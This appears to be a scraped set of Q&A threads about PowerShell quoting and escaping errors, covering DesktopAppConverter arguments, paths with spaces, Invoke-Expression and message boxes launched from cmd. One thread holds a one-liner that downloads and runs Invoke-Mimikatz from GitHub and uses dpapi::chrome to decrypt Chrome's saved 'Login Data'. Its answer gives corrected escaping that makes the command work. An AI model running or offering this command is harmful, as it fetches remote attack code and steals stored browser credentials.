PowerShell command cannot parse string literal and finds unknown positional parameter - powershell

I am trying to run a PowerShell command (DesktopAppConverter) and I'm getting an error saying it is finding an unknown positional parameter.
DesktopAppConverter -AppInstallPath 'C:\Program Files (x86)\Search Deflector' -Destination '.\AppxPackage\' -Installer '.\ClassicInstaller\SearchDeflector-Installer.exe' -InstallerArguments '/COMPONENTS="main"','/VERYSILENT','/DIR="C:\Program Files (x86)\Search Deflector"' -MakeAppx -PackageName '3945spikespaz.SearchDeflector' -Publisher 'CN=69331A0A-1F10-4A10-8A28-3627A09E25FD' -Version '0.0.3.0' -AppId 'SearchDeflector' -AppDisplayName 'Search Deflector' -AppDescription 'A small program that forwards searches from Cortana to your preferred browser and search engine.' -PackagePublisherDisplayName 'spikespaz' -PackageArch 'x86' -Sign -Verbose
I also tried replacing the single quotes with double quotes and escaping the quotes in the InstallerArguments array with backticks. No dice.
C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter_2.1.4.0_x64__8wekyb3d8bbwe\DesktopAppConverter.ps1 : A positional parameter cannot be found that accepts
argument '/VERYSILENT'.
At line:1 char:1
+ &'C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter_2.1.4.0_ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [DesktopAppConverter.ps1], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,DesktopAppConverter.ps1
My guess is that it's splitting the parameters at the vert first space in the AppInstallPath string.

Related

Mimikatz - problem with handling spaces in the file path Dpapi::chrome [duplicate]

This question already has an answer here:
Powershell in Jenkins escaping characters for path
(1 answer)
Closed 1 year ago.
Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ?
Example:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""
Error:
Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'Data\Default\Login'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappda ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
enter code here
I will be very happy if someone helps, I have already tried all.
You need to escape the " inside the string argument by doubling them ("") or prefixing them with a single ` (PowerShell doesn't care about \):
"dpapi::chrome /in:""%localappdata%\Google\Chrome\User Data\Default\Login Data"""
# or
"dpapi::chrome /in:`"%localappdata%\Google\Chrome\User Data\Default\Login Data`""

Changing directory in PowerShell to folder name containing Special Chars

I am currently at Users folder and want to get to Dockers folder.
I am not perform this due to the \OneDrive - xxxxx, zzz\
cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
Error
PS C:\Users> cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
Set-Location : A positional parameter cannot be found that accepts argument '-'.
At line:1 char:1
+ cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Set-Location], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
cd 'C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\'
Enclose it with single quotes:
cd 'C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\'
Double quotes should work, too:
cd "C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\"
If you don't use double quotes, then powershell takes them as separate arguments, so Set-Location fails, but when you quote regarded as value for single argument, -Path.

PowerShell 'Invoke-Expression' command with single quotation

I am trying to invoke the following the command which contains the single quotation, but I am not able to execute and returns as an error:
$expression = $snapshot.properties.activities[1].typeProperties.parameters.rawinputlocation = '$$Text.Format(`'wasb://document.blob.co
re.windows.net/{0:yyyy}/{0:MM}/{0:dd}/DocumentActivity/raw/{{*}}.csv'`, SliceEnd)'
Invoke-Expression $expression
Error:
Invoke-Expression $expression
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand
This happens as the single quote, ', is escaped with a backtick, `.
The first one works, but the latter one is in the wrong order: the backtick is after the single quote. Consider the difference:
`'wasb://...csv'`
`'wasb://...csv`'

How to create a messagebox as an argument to powershell.exe?

How can I provide arguments to powershell.exe in order to spawn a message box? The key phrase here is arguments to powershell.exe, not from within a .ps1 script and also not from within the Powershell prompt itself. I currently have this but it is producing errors:
powershell.exe -Command "[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"); [System.Windows.Forms.MessageBox]::Show("Test!!!")"
I have also tried without -Command and with Invoke-Expression, with and without double quotes surrounding.
Errors created:
At line:1 char:51
+ [System.Reflection.Assembly]::LoadWithPartialName(System.Windows.Form ...
+ ~
Missing ')' in method call.
At line:1 char:51
+ ... eflection.Assembly]::LoadWithPartialName(System.Windows.Forms); [Syst ...
+ ~~~~~~~~~~~~~~~~~~~~
Unexpected token 'System.Windows.Forms' in expression or statement.
At line:1 char:71
+ ... flection.Assembly]::LoadWithPartialName(System.Windows.Forms); [Syste ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:114
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~
Missing ')' in method call.
At line:1 char:114
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~~~~~~~
Unexpected token 'Test!!!' in expression or statement.
At line:1 char:121
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
This is a quotation problem. Using the same double quote " in both argument and its contents messes up the content. As a work-around, use single quotes within the Powershell command and double quotes around the whole -Command parameter. Like so,
powershell.exe -Command "[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Test!!!')"
That being said, Add-Type -AssemblyName is IMAO prettier way to load assemblies. Like so,
powershell.exe -Command "add-type -assemblyname System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Test!!!')"

How to execute PowerShell Net MessageBox in cmd/batch

I have a batch file with lot of stuff. I there is one Alert Window with info for user.
On Windows Pro I'm using Msg command for it and it works fine.
On Windows Home there is no Msg, so I got the idea to use PowerShell instead:
[System.Windows.Forms.MessageBox]::Show("my text")
which works fine in PowerShell.
-However, when I try to use it in batch or execute it directly in Cmd, I only get the text:
C:\Windows\System32>powershell {[System.Windows.Forms.MessageBox]::Show("\""my text"\"")}
[System.Windows.Forms.MessageBox]::Show("my text")
Or I get errors:
C:\Windows\System32>powershell -command [System.Windows.Forms.MessageBox]::Show("my text")
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Missing ')' in method call.
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~~
Unexpected token 'my' in expression or statement.
At line:1 char:48
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
or
C:\Windows\System32>powershell -command "& {[System.Windows.Forms.MessageBox]::Show('my text')}"
Unable to find type [System.Windows.Forms.MessageBox].
At line:1 char:4
+ & {[System.Windows.Forms.MessageBox]::Show('my text')}
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Windows.Forms.MessageBox:TypeName) [],
RuntimeException
+ FullyQualifiedErrorId : TypeNotFound
What should I do to get it to work?
(without rewriting the whole script to PowerShell, that is)
As TheMadTechnician stated, you may need to load it first.
This is effectively the same answer as theirs just over a couple of lines:
#Echo Off
PowerShell -Command^
"[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')|Out-Null;"^
"[System.Windows.Forms.MessageBox]::Show(\"my text\")"
Pause
…and whilst double quotes around my text is not necessary, I've used them to show you the escapes.
You need to load the type before you can invoke it. You can do this:
powershell -command "[reflection.assembly]::LoadWithPartialName('System.Windows.Forms')|out-null;[windows.forms.messagebox]::Show('my message')"